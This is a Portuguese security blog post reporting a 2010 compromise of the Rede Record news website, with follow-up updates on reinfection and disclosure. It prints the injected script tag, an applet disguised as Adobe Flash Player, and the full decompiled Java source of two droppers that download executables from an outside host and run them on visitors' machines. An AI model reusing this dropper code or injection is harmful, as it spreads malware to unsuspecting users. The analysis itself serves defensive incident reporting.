Crime na Rede, site da Rede Record foi infectado

Estava passando os canais da TV e vi que o Jornal da Record estava exibindo uma reportagem sobre crimes cibernéticos, ou Crimes na Rede como eles intitularam. Achei legal e fui no site deles para assistir os vídeos da série de reportagens.

Ao abrir a URL das reportagens:

http://programas.rederecord.com.br/programas/jornaldarecord/series.asp?id=4485

Veja a tela com a qual me deparei:

Uma grande ironia, o site foi infectado, o atacante invadiu (desconheço o método utilizado) e inseriu um código para executar um Applet Java (.jar).

Alguém que não deve ter gostado muito da reportagem deve ter feito isso. Inseriram esse código na página:

<ScRipT src="HTTP://www.anpal.org.br/_.js"></ScRipT>

O javascript "_.js" estava com uma espécie de codificação para dificultar a leitura, mas  foi facilmente removida e seu conteúdo é esse:

<applet name="Adobe Flash Player version 10.1.6" code="Main.class" archive="http://www.anpal.org.br/home.jar" height="1" width="1"><param name="link" value="http://www.anpal.org.br/Autorun.jar"></applet>

Fiz download dos arquivos "home.jar" e "Autorun.jar". 

Arquivo do tipo JAR é uma espécie de ZIP de arquivos Java, então ao descompactá-los obtive dois arquivos Main.class, que é como se fossem os arquivos java compilados, são os bytecodes.

Com ajuda do site www.showmycode.com, obtive o código-fonte dos dois arquivos Main.

 home.jar – Main.class  
 import java.applet.Applet;  
 import java.io.*;  
 import java.net.URL;  
 import java.net.URLConnection;  
 public class Main extends Applet  
 {  
   public Main()  
   {  
   }  
   public void Plugin()  
     throws Exception  
   {  
     byte buffer[] = new byte[10240];  
     String archivo = getParameter("link");  
     System.out.println((new StringBuilder("Adobe Flash Player :")).append(archivo).toString());  
     String ext = archivo.substring(archivo.lastIndexOf("."));  
     ext = ext.toLowerCase();  
     File nuevo = File.createTempFile("FlashPlayer", ext);  
     FileOutputStream stream = new FileOutputStream(nuevo);  
     URL ur = new URL(archivo);  
     URLConnection uc = ur.openConnection();  
     BufferedInputStream is = new BufferedInputStream(uc.getInputStream());  
     int leidos;  
     while((leidos = is.read(buffer)) > 0)   
       stream.write(buffer, 0, leidos);  
     stream.close();  
     if(ext.contains(".jar"))  
       Runtime.getRuntime().exec((new StringBuilder(String.valueOf(System.getProperty("sun.boot.library.path")))).append("\\javaw.exe -jar \"").append(nuevo.getAbsolutePath()).append("\"").toString());  
     else  
       try  
       {  
         Runtime.getRuntime().exec(nuevo.getAbsolutePath());  
       }  
       catch(IOException e)  
       {  
         File f = File.createTempFile("tmp", ".bat");  
         f.createNewFile();  
         f.deleteOnExit();  
         PrintWriter pw = new PrintWriter(f);  
         pw.println((new StringBuilder("\"")).append(nuevo.getAbsolutePath()).append("\"").toString());  
         pw.close();  
         Runtime.getRuntime().exec(f.getAbsolutePath());  
         f.delete();  
       }  
     nuevo.deleteOnExit();  
   }  
   public void init()  
   {  
     try  
     {  
       Plugin();  
     }  
     catch(Exception e)  
     {  
       e.printStackTrace();  
     }  
     super.init();  
   }  
 }  

 package autorun;  
 import java.io.*;  
 import java.net.*;  
 import javax.swing.JOptionPane;  
 public class Main  
 {  
   public Main()  
   {  
   }  
   public void init()  
   {  
     String s = System.getProperty("user.home");  
     try  
     {  
       File file = new File(s, "/Imagen1.exe");  
       FileOutputStream fileoutputstream = new FileOutputStream(file, false);  
       URL url = new URL("http://www.anpal.org.br/mercurio.txt");  
       URLConnection urlconnection = url.openConnection();  
       InputStream inputstream = urlconnection.getInputStream();  
       for(int i = 0; (i = inputstream.read()) != -1;)  
         fileoutputstream.write(i);  
       inputstream.close();  
       fileoutputstream.close();  
       Process process = Runtime.getRuntime().exec(file.getAbsolutePath());  
     }  
     catch(FileNotFoundException filenotfoundexception)  
     {  
       JOptionPane.showMessageDialog(null, "Arquivo n\343o encontrado. Causa: " + filenotfoundexception.getMessage());  
     }  
     catch(MalformedURLException malformedurlexception)  
     {  
       JOptionPane.showMessageDialog(null, "Erro na forma\347\343o da URL. Causa: " + malformedurlexception.getMessage());  
     }  
     catch(IOException ioexception)  
     {  
       JOptionPane.showMessageDialog(null, "Erro de entrada/saida de dados. Causa: " + ioexception.getMessage());  
     }  
     try  
     {  
       File file1 = new File(s, "/msnwin32.exe");  
       FileOutputStream fileoutputstream1 = new FileOutputStream(file1, false);  
       URL url1 = new URL("http://www.anpal.org.br/netuno.txt");  
       URLConnection urlconnection1 = url1.openConnection();  
       InputStream inputstream1 = urlconnection1.getInputStream();  
       for(int j = 0; (j = inputstream1.read()) != -1;)  
         fileoutputstream1.write(j);  
       inputstream1.close();  
       fileoutputstream1.close();  
       Process process1 = Runtime.getRuntime().exec(file1.getAbsolutePath());  
     }  
     catch(FileNotFoundException filenotfoundexception1)  
     {  
       JOptionPane.showMessageDialog(null, "Arquivo n\343o encontrado. Causa: " + filenotfoundexception1.getMessage());  
     }  
     catch(MalformedURLException malformedurlexception1)  
     {  
       JOptionPane.showMessageDialog(null, "Erro na forma\347\343o da URL. Causa: " + malformedurlexception1.getMessage());  
     }  
     catch(IOException ioexception1)  
     {  
       JOptionPane.showMessageDialog(null, "Erro de entrada/saida de dados. Causa: " + ioexception1.getMessage());  
     }  
   }  
   public static void main(String args[])  
   {  
     Main main1 = new Main();  
     main1.init();  
   }  
 }  

Não analisei com muita calma esses códigos mas vi que no segundo ele faz download de dois arquivos: mercurio.txt e netuno.txt (que na verdade não são txt e sim binários) e salvam no computador da vítima como Imagen1.exe e msnwin32.exe respectivamente.

Fiz o download desses dois arquivos mas ainda não analisei, porém imagino que devem ser malwares para furtar senhas de bancos, conectar em redes zumbis, etc.

Fica aí o alerta, até o presente momento todo esse esquema ainda está no ar.

Impressionante como uma empresa tão grande que se propõe a exibir reportagens sobre os crimes na Internet está tão vulnerável a esse tipo de ataque.

[POST Adicionado em 21/10/2010, 10:20]

Felizmente os administradores do site da Rede Record já corrigiram o problema, porém fica aqui registrado o incidente. Posteriormente irei analisar os executáveis que o golpe disseminava.

[POST Adicionado em 24/10/2010, 19:05]

Como se já não bastasse uma vez, novamente o site da Rede Record foi comprometido com malwares ontem a noite, quem alertou foi Felipe Santos no comentário abaixo. Acessei o site e constatei o mesmo golpe, segue a nova tela capturada ontem, 23/10 às 21:35.  Quantas vezes mais isso ocorrerá sem que a Record não tome nenhuma atitude?

[POST Adicionado em 25/10/2010, 01:40]

Parece até piada, novamente essa noite o site estava comprometido, achava que o admin do site tinha desativado o golpe mas agora imagino que o cracker está programando o ataque para somente algumas horas do dia, da noite na verdade. Mais telas capturadas, 25/10, 01:24.

[POST Adicionado em 12/09/2011]

No dia 09/09/2011, quase um ano após o incidente com o site da Rede Record, entrou em contato comigo o responsável pelo domínio anpal.org.br junto ao Registro.br. Disse-me que estava afastado da entidade (ANPAL) e tomou conhecimento do incidente só agora, infelizmente.

Gostaria de destacar aqui a forma educada e atenciosa com a qual se comunicou, preocupado com o ocorrido e em buscar os reponsáveis pela não atenção ao problema, já que na época enviei e-mail  para dois contatos do site e ninguém respondeu. Fica registrado um exemplo de comunicação entre administradores de sistemas/domínios e pesquisadores de segurança.

Leia também:

  Invasor do site da Record, seguindo os rastros